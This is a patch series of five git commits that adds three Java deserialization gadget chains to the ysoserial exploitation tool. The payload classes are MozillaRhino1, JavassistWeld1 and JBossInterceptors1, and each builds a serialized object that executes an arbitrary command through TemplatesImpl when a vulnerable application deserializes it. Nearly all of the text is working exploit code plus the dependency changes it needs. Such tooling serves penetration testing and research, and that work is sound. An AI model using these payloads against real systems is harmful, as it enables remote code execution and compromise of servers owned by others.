From 2ae8b051a5c3c6a0f1131d79a4ab4ddb0afc48a1 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Tue, 26 Jul 2016 14:48:09 +0200 Subject: [PATCH 1/5] Adding the RhinoGadget to ysoserial. The gadget uses the standalone version of Rhino ("org.mozilla.javascript.*"-namespace). --- pom.xml | 5 ++ src/main/java/ysoserial/payloads/Rhino.java | 66 +++++++++++++++++++++ 2 files changed, 71 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Rhino.java diff --git a/pom.xml b/pom.xml index b216df0..43ffc0d 100644 --- a/pom.xml +++ b/pom.xml @@ -252,6 +252,11 @@ jython-standalone 2.5.2 + + rhino + js + 1.7R2 + diff --git a/src/main/java/ysoserial/payloads/Rhino.java b/src/main/java/ysoserial/payloads/Rhino.java new file mode 100644 index 0000000..c51bbc0 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Rhino.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class Rhino implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Rhino.class, args); + } +} \ No newline at end of file From 8698844034c2c47eaa58ac9e81a438b85a9a53c9 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Tue, 26 Jul 2016 16:15:42 +0200 Subject: [PATCH 2/5] Adding a Javassist/Weld gadget to ysoserial. --- pom.xml | 10 +++ .../ysoserial/payloads/JavassistWeld1.java | 88 +++++++++++++++++++ 2 files changed, 98 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/JavassistWeld1.java diff --git a/pom.xml b/pom.xml index 43ffc0d..a8ecf2e 100644 --- a/pom.xml +++ b/pom.xml @@ -257,6 +257,16 @@ js 1.7R2 + + javassist + javassist + 3.12.0.GA + + + org.jboss.weld + weld-core + 1.1.33.Final + diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000..bf89d51 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,88 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import javassist.util.proxy.ProxyFactory; +import javassist.util.proxy.ProxyObject; +import javassist.util.proxy.RuntimeSupport; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + ProxyFactory proxyFactory = new ProxyFactory(); + proxyFactory.setSuperclass(HashMap.class); + ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance(); + proxy.setHandler(interceptorMethodHandler); + + return RuntimeSupport.makeSerializedProxy(proxy); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file From 0f9526ff24fd4af2afe8ddad157444a36c4b8e49 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Tue, 26 Jul 2016 16:42:46 +0200 Subject: [PATCH 3/5] Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. --- pom.xml | 5 ++ .../ysoserial/payloads/JBossInterceptors.java | 79 +++++++++++++++++++ .../ysoserial/payloads/JavassistWeld1.java | 11 +-- 3 files changed, 85 insertions(+), 10 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/JBossInterceptors.java diff --git a/pom.xml b/pom.xml index a8ecf2e..6ca2a26 100644 --- a/pom.xml +++ b/pom.xml @@ -267,6 +267,11 @@ weld-core 1.1.33.Final + + org.jboss.interceptor + jboss-interceptor-core + 2.0.0.Final + diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors.java b/src/main/java/ysoserial/payloads/JBossInterceptors.java new file mode 100644 index 0000000..7493929 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JBossInterceptors.java @@ -0,0 +1,79 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final" }) +public class JBossInterceptors implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JBossInterceptors.class, args); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index bf89d51..dcd5e28 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -1,9 +1,6 @@ package ysoserial.payloads; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import javassist.util.proxy.ProxyFactory; -import javassist.util.proxy.ProxyObject; -import javassist.util.proxy.RuntimeSupport; import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; import org.jboss.weld.interceptor.builder.MethodReference; import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; @@ -71,13 +68,7 @@ public class JavassistWeld1 implements ObjectPayload { } }; - InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - ProxyFactory proxyFactory = new ProxyFactory(); - proxyFactory.setSuperclass(HashMap.class); - ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance(); - proxy.setHandler(interceptorMethodHandler); - - return RuntimeSupport.makeSerializedProxy(proxy); + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); } From 2e6f61c03973d7b6a231d2a8eba48568d48fc8d8 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Tue, 26 Jul 2016 17:11:11 +0200 Subject: [PATCH 4/5] Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. --- pom.xml | 20 +++++++++++++++++++ .../ysoserial/payloads/JBossInterceptors.java | 2 +- .../ysoserial/payloads/JavassistWeld1.java | 2 +- 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/pom.xml b/pom.xml index 6ca2a26..c2820bb 100644 --- a/pom.xml +++ b/pom.xml @@ -272,6 +272,26 @@ jboss-interceptor-core 2.0.0.Final + + org.jboss.interceptor + jboss-interceptor-spi + 2.0.0.Final + + + javax.enterprise + cdi-api + 1.0-SP1 + + + javax.interceptor + javax.interceptor-api + 3.1 + + + org.slf4j + slf4j-api + 1.7.21 + diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors.java b/src/main/java/ysoserial/payloads/JBossInterceptors.java index 7493929..74b366e 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors.java @@ -25,7 +25,7 @@ import java.util.*; by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final" }) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) public class JBossInterceptors implements ObjectPayload { public Object getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index dcd5e28..ed3b8e1 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -25,7 +25,7 @@ import java.util.*; by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) public class JavassistWeld1 implements ObjectPayload { public Object getObject(final String command) throws Exception { From a62a266df5ad739055365e2cc88ba911d4ed32b9 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Fri, 29 Jul 2016 12:36:02 +0200 Subject: [PATCH 5/5] Updated names --- .../{JBossInterceptors.java => JBossInterceptors1.java} | 4 ++-- .../ysoserial/payloads/{Rhino.java => MozillaRhino1.java} | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) rename src/main/java/ysoserial/payloads/{JBossInterceptors.java => JBossInterceptors1.java} (96%) rename src/main/java/ysoserial/payloads/{Rhino.java => MozillaRhino1.java} (96%) diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java similarity index 96% rename from src/main/java/ysoserial/payloads/JBossInterceptors.java rename to src/main/java/ysoserial/payloads/JBossInterceptors1.java index 74b366e..42e4eed 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -26,7 +26,7 @@ import java.util.*; */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) -public class JBossInterceptors implements ObjectPayload { +public class JBossInterceptors1 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -74,6 +74,6 @@ public class JBossInterceptors implements ObjectPayload { public static void main(final String[] args) throws Exception { - PayloadRunner.run(JBossInterceptors.class, args); + PayloadRunner.run(JBossInterceptors1.class, args); } } \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/Rhino.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java similarity index 96% rename from src/main/java/ysoserial/payloads/Rhino.java rename to src/main/java/ysoserial/payloads/MozillaRhino1.java index c51bbc0..6bf3258 100644 --- a/src/main/java/ysoserial/payloads/Rhino.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -16,7 +16,7 @@ import java.lang.reflect.Method; */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"rhino:js:1.7R2"}) -public class Rhino implements ObjectPayload { +public class MozillaRhino1 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -61,6 +61,6 @@ public class Rhino implements ObjectPayload { } public static void main(final String[] args) throws Exception { - PayloadRunner.run(Rhino.class, args); + PayloadRunner.run(MozillaRhino1.class, args); } } \ No newline at end of file